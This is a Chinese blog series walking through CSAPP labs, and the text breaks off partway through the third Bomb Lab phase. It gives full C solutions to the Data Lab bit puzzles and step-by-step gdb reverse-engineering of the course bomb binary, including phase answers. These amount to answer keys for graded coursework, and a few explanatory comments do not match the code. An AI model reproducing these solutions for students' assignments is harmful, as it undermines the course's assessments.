这里我们简单回顾一下整体的学习脉络：先从数据的表示开始，自然而然引出用汇编描述的计算机基本运行的方式，从控制流、过程调用到跳转等高级话题。了解了计算机运行的模式，据此给出一些程序设计的技巧作为过渡，然后开始涉及诸如内存、编译器、进程、信号、I/O、虚拟内存、动态内存分配等知识。这些东西看起来都非常吓人，但是老师很科学地把握好了『度』，让我们理解基本原理，这样以后想要深入学习可以自己去探索，却不会过早陷入无谓的复杂度。在单机的知识基本完备之后，开始涉及网络、同步、并行编程等高级话题，为后面的学习打下基础。

这些都很好，但是不是最好的，最好的部分，在我看来，是通过一门课程，去引导学生往抵抗力最大的路径走。


	前面几次非常底层的作业，每个人的答案都是自动生成的且不同的，除了弄清楚背后的原理，没有任何捷径可以走

	所有作业的设置，如果弄清楚了每个重要知识点，加上一点点自己的联想和思考，思路就会非常清晰的，不会出现因为文档或者助教质量而导致的各种问题，也就是说，你在这门课上花的时间，大部分是有价值的

	知识点不局限于课程大纲，深入浅出，承前启后，无论之后想往哪个方向发展，都可以从中受益



下面大致介绍下主要知识点和不同的 lab 的重点

程序和数据


	学习目标
	位操作，数学计算，汇编程序

	C 控制流程的表示以及数据结构

	体系架构和编译器





	实验介绍
	L1(datalab)：操作 bits

	L2(bomblab)：拆除一个二进制炸弹

	L3(attacklab)：基本的代码注入攻击







存储体系


	学习目标
	内存技术，内存层级，缓存，磁盘，局部性原理

	体系架构和操作系统





	实验介绍
	L4(cachelab)：做一个缓存模拟器并且进行优化，与此同时学习如何在程序中利用局部性







异常控制流


	学习目标
	硬件异常，进程，进程控制，Unix 信号，非本地跳转(nonlocal jumps)

	编译器，操作系统和提及架构





	实验介绍
	L5(tshlab)：写一个自己的 Unix shell







虚拟内存


	学习目标
	虚拟内存，地址翻译，动态存储分配

	体系架构和操作系统





	实验介绍
	L6(malloclab)：自己实现 malloc 功能，借此了解系统层次编程







网络与并行


	主题
	高层和底层 IO，网络编程

	Internet 服务，Web 服务器

	IO 复用

	网络，操作系统和体系架构





	作业
	L7(proxylab)：写一个 web proxy，借此学习网络编程和并行/同步







介绍了这么多，关键还是要自己动手试一试，所有的实验文档和代码都可以在这里下载。

纸上得来终觉浅，绝知此事要躬行！
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	叁 内存与缓存 - 内存层级与缓存机制

	肆 链接 - 不同的代码如何协同

	伍 异常控制流 - 不同进程间的切换与沟通

	陆 系统输入输出 - 怎么把不同的内容发送到不同的地方

	柒 虚拟内存与动态内存分配 - 现代计算机中内存的奥秘

	捌 网络编程 - 从最原始套接字彻底理解网络编程

	玖 并行与同步 - 协同工作中最重要的两个问题



读厚部分


	实验概览

	I Data Lab - 位操作，数据表示

	II Bomb Lab - 汇编，栈帧与 gdb

	III Attack Lab - 漏洞是如何被攻击的

	IV Cache Lab - 实现一个缓存系统来加速计算

	V Shell Lab - 实现一个 shell

	VI Malloc Lab - 实现一个动态内存分配

	VII Proxy Lab - 实现一个多线程带缓存的代理服务器

	知识点复习





            
            
              
                【不周山之读厚 CSAPP】I Data Lab
              
            
          


      
      

      
        万事开头难，尤其是和 0 与 1 打交道，和后面的实验相比，这次只能算个热身。但是喜欢运动的都知道，热身很重要！




更新历史


	16.06.12: isGreat 代码注释修改，感谢网友 刘镇宽 的提醒

	16.04.16: 初稿完成



系列文章

读薄部分


	零 系列概览

	壹 数据表示 - 不同的数据是如何存储与表示的

	贰 机器指令与程序优化 - 控制流、过程调用、缓冲区溢出

	叁 内存与缓存 - 内存层级与缓存机制

	肆 链接 - 不同的代码如何协同

	伍 异常控制流 - 不同进程间的切换与沟通

	陆 系统输入输出 - 怎么把不同的内容发送到不同的地方

	柒 虚拟内存与动态内存分配 - 现代计算机中内存的奥秘

	捌 网络编程 - 从最原始套接字彻底理解网络编程

	玖 并行与同步 - 协同工作中最重要的两个问题



读厚部分


	实验概览

	I Data Lab - 位操作，数据表示

	II Bomb Lab - 汇编，栈帧与 gdb

	III Attack Lab - 漏洞是如何被攻击的

	IV Cache Lab - 实现一个缓存系统来加速计算

	V Shell Lab - 实现一个 shell

	VI Malloc Lab - 实现一个动态内存分配

	VII Proxy Lab - 实现一个多线程带缓存的代理服务器

	知识点复习



任务目标

我们先来看看 Datalab 需要我们做什么。主要是通过这次的作业来熟悉整型及浮点数的位表达形式，简单来说，就是解开一些人工谜题。列表如下：

比特操作谜题：




	名称
	描述
	难度
	指令数目





	bitXor(x,y)
	只用 & 和 ~ 实现 x^y
	1
	14



	allOddBits(x)
	所有的奇数位都为 1 吗
	2
	12



	isAsciiDigit(x)
	x 是 ASCII 码吗
	3
	15



	conditional(x, y, z)
	类似于 C 语言中的 x? y:z
	3
	16



	logicalNeg(x)
	计算 !x 而不用 ! 运算符
	4
	12





整数运算谜题：




	名称
	描述
	难度
	指令数目





	tmin()
	返回最小的补码
	1
	4



	isTmax(x)
	x 是最大的 32 位补码
	2
	10



	negate(x)
	不用负号得到 -x
	3
	24



	isLessOrEqual(x,y)
	x <= y?
	3
	24



	howManyBits(x)
	计算表达 x 所需的最少位数
	4
	90





浮点数运算谜题：




	名称
	描述
	难度
	指令数目





	float_twice(uf)
	计算 2.0*f
	4
	30



	float_f2i(uf)
	计算 (int) f
	4
	30



	float_i2f(x)
	计算 (float) x
	4
	30





上手指南

一共 13 个需要补充的函数，所有的工作都只需修改 bits.c 文件，测试的话有三种方式：btest, dlc, 和 BDD checker。

一些小技巧：


	在函数开始时声明所有变量

	} 应该在第一列

	注意运算符号的优先级，使用括号确保顺序的正确

	关注 !, 0, TMin 等



任务指引还是比较清晰的，主要有以下一些说明：


	整型的范围是 0 到 255(0xFF)，不允许用更大

	只能包含参数和局部变量

	一元操作符 ! ~

	二元操作符 & | + << >>



不允许的操作有：


	使用任何条件控制语句

	定义和使用宏

	定义其他的函数

	调用函数

	使用其他的操作符

	使用类型转换

	使用除 int 之外的类型（针对整型）

	使用除 int, unsigned 之外的类型（针对浮点数）



可以认为机器：


	使用 2’s complent，32位

	执行算术右移

	移动超过字长的位数会出问题



其他需要注意的事情有：


	使用 dlc(data lab checker) 来检测代码的合法性（有没有使用不给使用的符号语法等等）

	每个函数都有操作数的上限值，注意 = 不算

	使用 btest 来测试结果的正确与否

	使用 BDD checker 来正规测试你的函数



题目及解法

thirdBits


	题目要求：return word with every third bit (starting from the LSB) set to 1

	允许操作：! ~ & ^ | + << >>

	操作数限制：8

	分值：1



我们返回的结果是：0100 1001 0010 0100 1001 0010 0100 1001，因为题目要求每个变量不可以超过 255，也就是最多 1111 1111，所以只能分步骤来进行组合，如下面代码所示

Desired output: 0100 1001 0010 0100 1001 0010 0100 1001 
Step 1:         0000 0000 0000 0000 0000 0000 0100 1001  0x49
Step 2:         0000 0000 0000 0000 1001 0010 0000 0000  Shift << 9
Step 3:         0000 0000 0000 0000 1001 0010 0100 1001  Add 0x49
Step 4:         0100 1001 0010 0100 0000 0000 0000 0000  Shift << 18
Step 5:         0100 1001 0010 0100 1001 0010 0100 1001  Add result from step 3

int thirdBits(void) {
  int a = 0x49;
  int b = (a << 9);
  int c = b + a;
  return (c << 18) + c; // Steps 4 and 5
}


可以看到第一个函数已经写对的得到了一分，然后我们再来检测一下有没有用非法的操作符：./dlc -e bits.c

[image: csapp36]

可以看到没有显示错误信息，-e 会输出操作符的数量，这里也都没有问题。接下来的题目都会用这种方式测试，但是就不会再贴图了。

isTmin


	题目要求：returns 1 if x is the minimum, two’s complement number, and 0 otherwise

	允许操作：! ~ & ^ | +

	操作数限制：10

	分值：1



根据 2’s complement 的定义，Tmin 的值是 10000000 00000000 00000000 00000000，我们要怎么判断一个数是不是 Tmin 呢，原则上来说，只需要把 x 和 Tmin 做 & 操作，判断即可，但是题目要求不能左移，于是就要想其他的办法了，观察 Tmin 的值，发现如果左移一次，就变成全部为 0，但是全部为零的情况还有另外一种就是本身全部就是 0，所以只要排除第二种情况，就可以判断是否是 Tmin 了，代码如下：

// 前面一部分用于判断左移一位后是否全部为0，后面一部分用来判断 x 值是否为 0
int isTmin(int x) {
   return !(x+x)&!!(x);
}


isNotEqual


	题目要求：return 0 if x == y, and 1 otherwise 
	例如: isNotEqual(5,5) = 0, isNotEqual(4,5) = 1





	允许操作：! ~ & ^ | + << >>

	操作数限制：6

	分值：2



这题比较简单，发现可以使用异或操作，那么只需要判断两个数异或后结果是否为 0 即可，这里同样使用了 !! 来把 bit 转换成 boolean 值

int isNotEqual(int x, int y)
{
	return(!!(x ^ y));
}


anyOddBit


	题目要求：return 1 if any odd-numbered bit in word set to 1
	例如： anyOddBit(0x5) = 0, anyOddBit(0x7) = 1





	允许操作：! ~ & ^ | + << >>

	操作数限制：12

	分值：2



我们依旧不能超过 0xFF 的限制，所以需要把前面的 24 位都用 | 和 >> 运算符移动到最后八位中，再和 10101010 来做 & 操作，只要不为零，就说明在偶数位上有不为 0 位

int anyOddBit(int x) {
    return !!((x | (x >> 8) | (x >> 16) | (x >> 24)) & 0xaa);
}


negate


	题目要求：return -x
	例如：negate(1) = -1. 





	允许操作：! ~ & ^ | + << >>

	操作数限制：5

	分值：2



第一感觉就是用到取反 ~ 符号，但需要考虑三种情况：正，零，负


	假设是 0010(2)，取反之后是 1101(-3)

	假设是 1110(-2)，取反之后是 0001(1)

	假设是 0000(0)，取反之后是 1111(-1) 



可以发现一个规律，就是都差 1，为什么呢，就是因为 2’s complement 的定义中是加上了 1 的，所以只要再加一就好。

int negate(int x) {  
  return ~x + 1;  
}


conditional


	题目要求：same as x ? y : z
	例如：conditional(2,4,5) = 4 





	允许操作：! ~ & ^ | + << >>

	操作数限制：16

	分值：3



这一题稍微有一些复杂，我们来看看怎么去想。因为不能用 if 来做流程判断，所以我们返回的表达式例一定要包含 y 和 z，但是可以根据 x 的值来进行变换，所以大概的式子是 (y op expr) | (z op expr)(op 表示操作符， expr 是某个表达式)。

然后就简单很多了，我们只要想办法做一个 expr，要么为 0x00000000，要么为 0xffffffff 即可，于是表达式 ~!x + 1 就可以满足我们的需求，x 为 0 时，表达式为 0xffffffff，不等于 0 时也满足条件，就等于有了答案

int conditional(int x, int y, int z) {
    /*
     *if x!=0,mask=0x00000000,so y&~mask==y and z&mask==0
     *if x==0,mask=0xffffffff,so y&~mask = y&0 =0; z&mask=z
     */
    int mask= ~!x+1; 
    return (y & ~mask)|(z & mask);
}


subOK


	题目要求：Determine if can compute x-y without overflow
	例如：

	subOK(0x80000000,0x80000000) = 1

	subOK(0x80000000,0x70000000) = 0





	允许操作：! ~ & ^ | + << >>

	操作数限制：20

	分值：3



这题也不算轻松，但是我们可以一步一步来搞定，首先，既然是计算 x-y，我们要能够知道结果，由于不给使用减号，那就用倒数（之前的方法），所以 x-y 的结果为 ~y+1+x。然后需要怎么判断呢，观察发现，只有在以下这两种情况同时发生的时候，才是 overflow


	x 和 y 符号不同

	x-y 的符号和 x 不同



可能有点难以理解，overflow 指的是除符号位的最高位进位，也就是说符号会变化，所以需要 x 和 y 的符号不同（这样 x-y 就等同于两个同符号的加法），也就是第一个条件；符号到底有没有变化呢，就要看 x-y 与 x 的符号是否相同，也就是第二个条件。所以代码如下：

int subOK(int x, int y) {
  /*
   * overflow of sub happens iff 
   * 1) x and y have different signs
   * 2) res = x - y has different sign with x
   */
  int res = x + (~y + 1);
  int sameSign = x ^ y;
  int resSign = res ^ x;

  return !((sameSign & resSign) >> 31);
}


isGreater


	题目要求：if x > y  then return 1, else return 0
	例如：isGreater(4,5) = 0, isGreater(5,4) = 1





	允许操作：! ~ & ^ | + << >>

	操作数限制：24

	分值：3



因为要考虑正负号，所以这个问题变成：


	两个数符号相同的情况

	两个数符号不同的情况



具体可以参见代码

int isGreater(int x, int y)
{
        // Boolean value indicating sign of x
        // 1 = Negative
        // 0 = Non-Negative
        int sign_x = x >> 31;

        // Boolean value indicating sign of y
        // 1 = Negative
        // 0 = Non-Negative
        int sign_y = y >> 31;

	// if the signs are equal, then
	// if x is larger, sign bit of (~y + x) is 0
	// if y is larger or equal to x, sign bit of (~y + x) is 1
	// 感谢网友 刘镇宽 & AlohaJack 的提醒
	int equal = !(sign_x ^ sign_y) & ((~y + x) >> 31);

	// if signs are not equal, these principles are reversed.
	int notEqual = sign_x & !sign_y;

	// this | returns 0 when it is x is greater, so you have to negate it.
	return !( equal | notEqual);
}


bitParity


	题目要求：returns 1 if x contains an odd number of 0’s
	例如：bitParity(5) = 0, bitParity(7) = 1





	允许操作：! ~ & ^ | + << >>

	操作数限制：20

	分值：4



这道题要我们统计有有多少个零，这里我们需要利用一个特点，就是堆两个数进行异或操作，不改变奇偶性，所以只需要一步一步来异或就可以了

int bitParity(int x) {
  /* XORing two numbers returns a number with same bit parity.
     Keep shifting half of our number until reduced to 1 bit simple case.*/

  x = ( x >> 16 ) ^ x;
  x = ( x >> 8 ) ^ x;
  x = ( x >> 4 ) ^ x;
  x = ( x >> 2 ) ^ x;
  x = ( x >> 1) ^ x;
  return (x & 1);
}


howManyBits


	题目要求：return the minimum number of bits required to represent x in two’s complement
	例如：

	howManyBits(12) = 5

	howManyBits(298) = 10

	howManyBits(-5) = 4

	howManyBits(0)  = 1

	howManyBits(-1) = 1

	howManyBits(0x80000000) = 32





	允许操作：! ~ & ^ | + << >>

	操作数限制：90

	分值：4



这题从操作数限制的数目来看就知道比较复杂，但是代码还是比较清晰的，可以直接查看代码中的注释（特别鸣谢：@guojiex）

int howManyBits(int x) {
    int temp=x^(x>>31);//get positive of x;
    int isZero=!temp;
    //notZeroMask is 0xffffffff
    int notZeroMask=(!(!temp)<<31)>>31;
    int bit_16,bit_8,bit_4,bit_2,bit_1;
    bit_16=!(!(temp>>16))<<4;
    //see if the high 16bits have value,if have,then we need at least 16 bits
    //if the highest 16 bits have value,then rightshift 16 to see the exact place of  
    //if not means they are all zero,right shift nothing and we should only consider the low 16 bits
    temp=temp>>bit_16;
    bit_8=!(!(temp>>8))<<3;
    temp=temp>>bit_8;
    bit_4=!(!(temp>>4))<<2;
    temp=temp>>bit_4;
    bit_2=!(!(temp>>2))<<1;
    temp=temp>>bit_2;
    bit_1=!(!(temp>>1));
    temp=bit_16+bit_8+bit_4+bit_2+bit_1+2;//at least we need one bit for 1 to tmax,
    //and we need another bit for sign
    return isZero|(temp&notZeroMask);
}


float_half


	题目要求：Return bit-level equivalent of expression (float) x. Result is returned as unsigned int, but it is to be interpreted as the bit-level representation of a single-precision floating point values.

	允许操作：Any integer/unsigned operations incl. ||, &&. also if, while

	操作数限制：30

	分值：4



这个就是考察基本的对于 IEEE 浮点数格式的转换了，思路也比较清晰，就是根据不同的部分来求出对应的值

unsigned float_half(unsigned uf) {
  int round, S, E, maskE, maskM, maskS,maskEM, maskSM, tmp;
  round = !((uf&3)^3);
  maskS = 0x80000000;
  maskE = 0x7F800000;
  maskM = 0x007FFFFF;
  maskEM= 0x7FFFFFFF;
  maskSM= 0x807FFFFF;
  E = uf&maskE;
  S = uf&maskS;
  //Nan or Infinity
  if (E==0x7F800000) return uf;
  //E=1 - specialcase
  if (E==0x00800000){
    return S | (round + ((uf & maskEM)>>1)) ;
  }
  //E=0 - denormalized
  if (E==0x00000000) {
    tmp = (uf&maskM)>>1;
    return S | (tmp + round);
  }
  //normalized case
  return (((E>>23)-1)<<23) | (uf & maskSM);
}


float_i2f


	题目要求：Return bit-level equivalent of expression (float) x. Result is returned as unsigned int, but it is to be interpreted as the bit-level representation of a single-precision floating point values.

	允许操作：Any integer/unsigned operations incl. ||, &&. also if, while

	操作数限制：30

	分值：4



和上题一样，这个就是考察基本的对于 IEEE 浮点数格式的转换了，思路也比较清晰，就是根据不同的部分来求出对应的值（特别鸣谢@guojiex）

unsigned float_i2f(int x) {
    /*int exponent=0;
    return ((sign<<31)|(exponent<<23)|fraction)+flag;*/
    int sign=x>>31&1;
    int i;
    int exponent; 
    int fraction; 
    int delta;
    int fraction_mask;
    if(x==0)//||x==0x8000000)
        return x;
    else if(x==0x80000000)
        exponent=158;
    else{
        if (sign)//turn negtive to positive
            x = -x;
        i = 30;
        while ( !(x >> i) )//see how many bits do x have(rightshift until 0) 
            i--;
        //printf("%x %d\n",x,i);
        exponent = i + 127;
        x = x << (31 - i);//clean all those zeroes of high bits
        fraction_mask = 0x7fffff;//(1 << 23) - 1;
        fraction = fraction_mask & (x >> 8);//right shift 8 bits to become the fraction,sign and exp have 8 bits total
        x = x & 0xff;
        delta = x > 128 || ((x == 128) && (fraction & 1));//if lowest 8 bits of x is larger than a half,or is 1.5,round up 1
        fraction += delta;
        if(fraction >> 23) {//if after rounding fraction is larger than 23bits
            fraction &= fraction_mask;
            exponent += 1;
        }
    }
    return (sign<<31)|(exponent<<23)|fraction;
}


float_f2i


	题目要求：Return bit-level equivalent of expression (int) f for floating point argument f. Argument is passed as unsigned int, but it is to be interpreted as the bit-level representation of a single-precision floating point value. Anything out of range (including NaN and infinity) should return 0x80000000u.

	允许操作：Any integer/unsigned operations incl. ||, &&. also if, while

	操作数限制：30

	分值：4



和上题一样，这个就是考察基本的对于 IEEE 浮点数格式的转换了，思路也比较清晰，就是根据不同的部分来求出对应的值

int float_f2i(unsigned uf) {
  int exp = (uf >> 23) & 0xFF;
  int frac = uf & 0x007FFFFF;
  int sign = uf & 0x80000000;
  int bias = exp - 127;

  if (exp == 255 || bias > 30) {
    // exponent is 255 (NaN), or number is too large for an int
    return 0x80000000u;
  } else if (!exp || bias < 0) {
    // number is very small, round down to 0
    return 0;
  }

  // append a 1 to the front to normalize
  frac = frac | 1 << 23;

  // float based on the bias
  if (bias > 23) {
    frac = frac << (bias - 23);
  } else {
    frac = frac >> (23 - bias);
  }

  if (sign) {
    // original number was negative, make the new number negative
    frac = ~(frac) + 1;
  }

  return frac;
}


总结

这个实验通过各种限制让我们尽可能去寻找不同的解法，相信做完之后对于数据的表示和操作，都会有更深层次的理解。



            
            
              
                【不周山之读厚 CSAPP】II Bomb Lab
              
            
          


      
      

      
        想体验拆弹部队的千钧一发吗？想当一回柯南来一次『真相只有一个』吗？那么这个实验绝对能给你非同寻常的感受：原来作业可以这么有趣！




系列文章

读薄部分


	零 系列概览

	壹 数据表示 - 不同的数据是如何存储与表示的

	贰 机器指令与程序优化 - 控制流、过程调用、缓冲区溢出

	叁 内存与缓存 - 内存层级与缓存机制

	肆 链接 - 不同的代码如何协同

	伍 异常控制流 - 不同进程间的切换与沟通

	陆 系统输入输出 - 怎么把不同的内容发送到不同的地方

	柒 虚拟内存与动态内存分配 - 现代计算机中内存的奥秘

	捌 网络编程 - 从最原始套接字彻底理解网络编程

	玖 并行与同步 - 协同工作中最重要的两个问题



读厚部分


	实验概览

	I Data Lab - 位操作，数据表示

	II Bomb Lab - 汇编，栈帧与 gdb

	III Attack Lab - 漏洞是如何被攻击的

	IV Cache Lab - 实现一个缓存系统来加速计算

	V Shell Lab - 实现一个 shell

	VI Malloc Lab - 实现一个动态内存分配

	VII Proxy Lab - 实现一个多线程带缓存的代理服务器

	知识点复习



任务目标

这次的任务很『简单』，一共有七关，六个常规关卡和一个隐藏关卡，每次我们需要输入正确的『拆弹密码』才能进入下一关，而具体的『拆弹密码』藏在汇编代码中。进入隐藏关卡的方式也在其中！这就需要我们一点一点探索蛛丝马迹了。

热身

汇编复习

想要完成拆弹任务，不但需要理解不同寄存器的常用方法，也要弄明白具体的操作符是什么意思：




	类型
	语法
	例子
	备注





	常量
	符号$ 开头
	$-42, $0x15213
	一定要注意十进制还是十六进制



	寄存器
	符号 % 开头
	%esi, %rax
	可能存的是值或者地址



	内存地址
	括号括起来
	(%rbx), 0x1c(%rax), 0x4(%rcx, %rdi, 0x1)
	括号实际上是去寻址的意思





一些汇编语句与实际命令的转换：




	指令
	效果





	mov %rbx, %rdx
	rdx = rbx



	add (%rdx), %r8
	r8 += value at rdx



	mul $3, %r8
	r8 *= 3



	sub $1, %r8
	r8--



	lea (%rdx, %rbx, 2), %rdx
	rdx = rdx + rbx*2





比较与跳转是拆弹的关键，基本所有的字符判断就是通过比较来实现的，比方说 cmp b,a 会计算 a-b 的值，test b, a 会计算 a&b，注意运算符的顺序。例如

cmpl %r9, %r10
jg   8675309


等同于 if %r10 > %r9, jump to 8675309

各种不同的跳转：




	指令
	效果
	指令
	效果





	jmp
	Always jump
	ja
	Jump if above(unsigned >)



	je/jz
	Jump if eq / zero
	jae
	Jump if above / equal



	jne/jnz
	Jump if !eq / !zero
	jb
	Jump if below(unsigned <)



	jg
	Jump if greater
	jbe
	Jump if below / equal



	jge
	Jump if greater / eq
	js
	Jump if sign bits is 1(neg)



	jl
	Jump if less
	jns
	Jump if sign bit is 0 (pos)



	jle
	Jump if less / eq
	x
	x





举几个例子

cmp $0x15213, %r12
jge deadbeef


若 %r12 >= 0x15213，则跳转到 0xdeadeef

cmp %rax, %rdi
jae 15213b


如果 %rdi 的无符号值大于等于 %rax，则跳转到 0x15213b

test %r8, %r8
jnz (%rsi)


如果 %r8 & %r8 不为零，那么跳转到 %rsi 存着的地址中。

# 检查符号表
# 然后可以寻找跟 bomb 有关的内容
objdump -t bomb | less 

# 反编译
# 搜索 explode_bomb
objdump -d bomb > bomb.txt

# 显示所有字符
strings bomb | less


GDB 介绍

gdb bomb

# 获取帮助
help

# 设置断点
break explode_bomb
break phase_1

# 开始运行
run

# 检查汇编 会给出对应的代码的汇编
disas 

# 查看寄存器内容
info registers

# 打印指定寄存器
print $rsp

# 每步执行
stepi

# 检查寄存器或某个地址
x/4wd $rsp


用 ctl+c 可以退出，每次进入都要设置断点（保险起见），炸弹会用 sscanf 来读取字符串，了解清楚（感谢网友十六夜砕月指正）到底需要输入什么。

第一关

我们先来看看符号表 objdump -t bomb | less 

[image: ]

就会发现这是天书，什么鬼！不过既然我们是要拆炸弹，不如就搜索一下 bomb，看看有没有什么线索。在 less 下输入 /bomb 然后不断回车，看到以下这些关键字：


	bomb.c

	initialize_bomb_solve

	explode_bomb

	bomb_id

	initialize_bomb



看来这里唯一有用的就是这个 explode_bomb，顾名思义，估计是在拆弹失败的时候用来爆炸的，所以我们可以直接设个断点，暂停运行，不让它爆炸。

然后我们就可以反编译一下炸弹看看到底里面是怎么回事了：objdump -d bomb > bomb.txt

[image: ]

比方说我们大概可以看出来，这里就是 main 函数执行的地方了。往下找找就可以看到第一阶段的代码了，如下：

0000000000400fb0 <phase_1>:
  400fb0:	48 83 ec 08          sub    $0x8,%rsp
  400fb4:	be f0 27 40 00       mov    $0x4027f0,%esi
  400fb9:	e8 72 04 00 00       callq  401430 <strings_not_equal>
  400fbe:	85 c0                test   %eax,%eax
  400fc0:	74 05                je     400fc7 <phase_1+0x17>
  400fc2:	e8 3d 07 00 00       callq  401704 <explode_bomb>
  400fc7:	48 83 c4 08          add    $0x8,%rsp
  400fcb:	c3                   retq


先来简单观察下这段程序在做什么，callq 的两行就是调用 strings_not_equal 和 explode_bomb 这两个函数的，而这里 %esi 对应的是第二个参数，第一个参数呢？当然就是我们拆弹时需要输入的字符串了。之后的 test 是用来判断函数的返回值 %eax 是否为 0， 如果为 0 则进行跳转，否则炸弹爆炸，所以我们实际上要做的，就是看看 $0x4027f0 这个地址里对应存放的是什么字符串，也就是拆炸弹的关键了。

先 gdb bomb，然后设置断点 break explode_bomb 和 break phase_1

[image: ]

接着运行 run，就会在断点处停下，这里会先让我们输入第一关的密码，随便输入一个抵达断点再说。

[image: ]

我们现在到断点了，可以利用 disas 来看看对应的汇编代码，其实就和我们之前反汇编出来的一致：

[image: ]

然后我们看看寄存器里的内容 info registers:

[image: ]

诶，不是说我们输入的字符串（也就是 abc）会存放在 eax 里面吗？怎么列表里没有？其实 eax 是 rax 的低位，我们可以直接利用 print $eax 把它打印出来，就会发现，是一个地址，我们再用 x/s $eax 就可以看到我们刚才输入的字符串了。

[image: ]

然后我们继续回到汇编语句，用 stepi 来逐步执行，就可以看到箭头的变化：

[image: ]

这里我们看到 mov 语句已经执行完成了，那么好，可以直接用 x $esi 来看看传进去的到底是什么内容了：

[image: ]

Bingo！这就是第一关的答案了，赶紧记下来吧！（注意每个人的都是不同的）

Why make trillions when we could make... billions?

然后输入 quit 退出 gdb，新建一个文本文件 touch sol.txt，方便以后输入答案。

第二关

这次因为我们有了输入，所以需要在进入 gdb，设置好断点后，设置命令参数

[image: ]

然后试着运行一下，在 phase_1 停住了，然后我们输入 continue，来看看答案到底对不对，如果正确，应该会在 phase_2 停住，如果错误，则会在 explode_bomb 停住。

[image: ]

然后就发现，第一关已经顺利完成了，然后挑战第二关。我们再随便输入一些内容，触发 phase_2 的断点。（这次输入 abcd，结果如下）

[image: ]

这一段代码比较长，我们还是来看看到底在做什么。从函数名可以得知，这一次要读入六个数字 read_six_numbers。

从 cmpl $0x1, (%rsp)（感谢网友十六夜砕月指正） 看出第一个数字一定是 1，然后跳转到 +24 的位置，然后把 1 移动到 %ebx 中，跳转到 +57 的位置，然后和 5 进行比较，因为 1 比 5 小，所以会跳转到 +31 的位置。

接着是 movslq 语句，这个语句是带符号地把第一个寄存器扩展并复制到第二个寄存器中，所以现在 %rdx 的值也是 1。lea 之后 %eax 等于 0，然后用 cltq 扩展到 64 位（也就是 %rax 等于 0），接着的语句相当于是 %eax = (%rsp) + 4 * %rax 即 %eax  等于 1。然后与自己相加等于乘以 2，现在 %eax 等于 2，然后等于是判断第二个参数((%rsp, %rdx, 4))和 2 是否相等，所以第二个数字是 2。

然后进行循环的累加并返回到 +31 的位置，继续循环。接着就是类似的操作了，最后分析可以得到每次增大一倍，答案就是 1 2 4 8 16 32。

第三关

第三关的代码很长，而且猛看上去，到处都可能触发炸弹。

0000000000401010 <phase_3>:
  401010:	48 83 ec 18          sub    $0x18,%rsp
  401014:	4c 8d 44 24 0c       lea    0xc(%rsp),%r8
  401019:	48 8d 4c 24 07       lea    0x7(%rsp),%rcx
  40101e:	48 8d 54 24 08       lea    0x8(%rsp),%rdx
  401023:	be 4e 28 40 00       mov    $0x40284e,%esi
  401028:	b8 00 00 00 00       mov    $0x0,%eax
  40102d:	e8 7e fc ff ff       callq  400cb0 <__isoc99_sscanf@plt>
  // %eax为sscanf的返回值，正确值为3
  401032:	83 f8 02             cmp    $0x2,%eax
  401035:	7f 05                jg     40103c <phase_3+0x2c>
  401037:	e8 c8 06 00 00       callq  401704 <explode_bomb>
  // 说明第一个数小于等于7
  40103c:	83 7c 24 08 07       cmpl   $0x7,0x8(%rsp)
  401041:	0f 87 fc 00 00 00    ja     401143 <phase_3+0x133>
  401047:	8b 44 24 08          mov    0x8(%rsp),%eax
  // 跳转，0x402860为起始地址，%rax为偏移
  40104b:	ff 24 c5 60 28 40 00 jmpq   *0x402860(,%rax,8)
  401052:	b8 6e 00 00 00       mov    $0x6e,%eax
  401057:	81 7c 24 0c df 00 00 cmpl   $0xdf,0xc(%rsp)
  40105e:	00 
  40105f:	0f 84 e8 00 00 00    je     40114d <phase_3+0x13d>
  401065:	e8 9a 06 00 00       callq  401704 <explode_bomb>
  40106a:	b8 6e 00 00 00       mov    $0x6e,%eax
  40106f:	e9 d9 00 00 00       jmpq   40114d <phase_3+0x13d>
  401074:	b8 6a 00 00 00       mov    $0x6a,%eax
  401079:	81 7c 24 0c 01 03 00 cmpl   $0x301,0xc(%rsp)
  401080:	00 
  401081:	0f 84 c6 00 00 00    je     40114d <phase_3+0x13d>
  401087:	e8 78 06 00 00       callq  401704 <explode_bomb>
  40108c:	b8 6a 00 00 00       mov    $0x6a,%eax
  401091:	e9 b7 00 00 00       jmpq   40114d <phase_3+0x13d>
  401096:	b8 63 00 00 00       mov    $0x63,%eax
  40109b:	81 7c 24 0c 1d 01 00 cmpl   $0x11d,0xc(%rsp)
  4010a2:	00 
  4010a3:	0f 84 a4 00 00 00    je     40114d <phase_3+0x13d>
  4010a9:	e8 56 06 00 00       callq  401704 <explode_bomb>
  4010ae:	b8 63 00 00 00       mov    $0x63,%eax
  4010b3:	e9 95 00 00 00       jmpq   40114d <phase_3+0x13d>
  4010b8:	b8 70 00 00 00       mov    $0x70,%eax
  4010bd:	81 7c 24 0c 16 02 00 cmpl   $0x216,0xc(%rsp)
  4010c4:	00 
  4010c5:	0f 84 82 00 00 00    je     40114d <phase_3+0x13d>
  4010cb:	e8 34 06 00 00       callq  401704 <explode_bomb>
  4010d0:	b8 70 00 00 00       mov    $0x70,%eax
  4010d5:	eb 76                jmp    40114d <phase_3+0x13d>
  4010d7:	b8 77 00 00 00       mov    $0x77,%eax
  4010dc:	81 7c 24 0c cd 00 00 cmpl   $0xcd,0xc(%rsp)
  4010e3:	00 
  4010e4:	74 67                je     40114d <phase_3+0x13d>
  4010e6:	e8 19 06 00 00       callq  401704 <explode_bomb>
  4010eb:	b8 77 00 00 00       mov    $0x77,%eax
  4010f0:	eb 5b                jmp    40114d <phase_3+0x13d>
  4010f2:	b8 70 00 00 00       mov    $0x70,%eax
  4010f7:	81 7c 24 0c 9a 00 00 cmpl   $0x9a,0xc(%rsp)
  4010fe:	00 
  4010ff:	74 4c                je     40114d <phase_3+0x13d>
  401101:	e8 fe 05 00 00       callq  401704 <explode_bomb>
  401106:	b8 70 00 00 00       mov    $0x70,%eax
  40110b:	eb 40                jmp    40114d <phase_3+0x13d>
  40110d:	b8 74 00 00 00       mov    $0x74,%eax
  401112:	81 7c 24 0c 13 01 00 cmpl   $0x113,0xc(%rsp)
  401119:	00 
  40111a:	74 31                je     40114d <phase_3+0x13d>
  40111c:	e8 e3 05 00 00       callq  401704 <explode_bomb>
  401121:	b8 74 00 00 00       mov    $0x74,%eax
  401126:	eb 25                jmp    40114d <phase_3+0x13d>
  401128:	b8 79 00 00 00       mov    $0x79,%eax
  40112d:	81 7c 24 0c 3b 01 00 cmpl   $0x13b,0xc(%rsp)
  401134:	00 
  401135:	74 16                je     40114d <phase_3+0x13d>
  401137:	e8 c8 05 00 00       callq  401704 <explode_bomb>
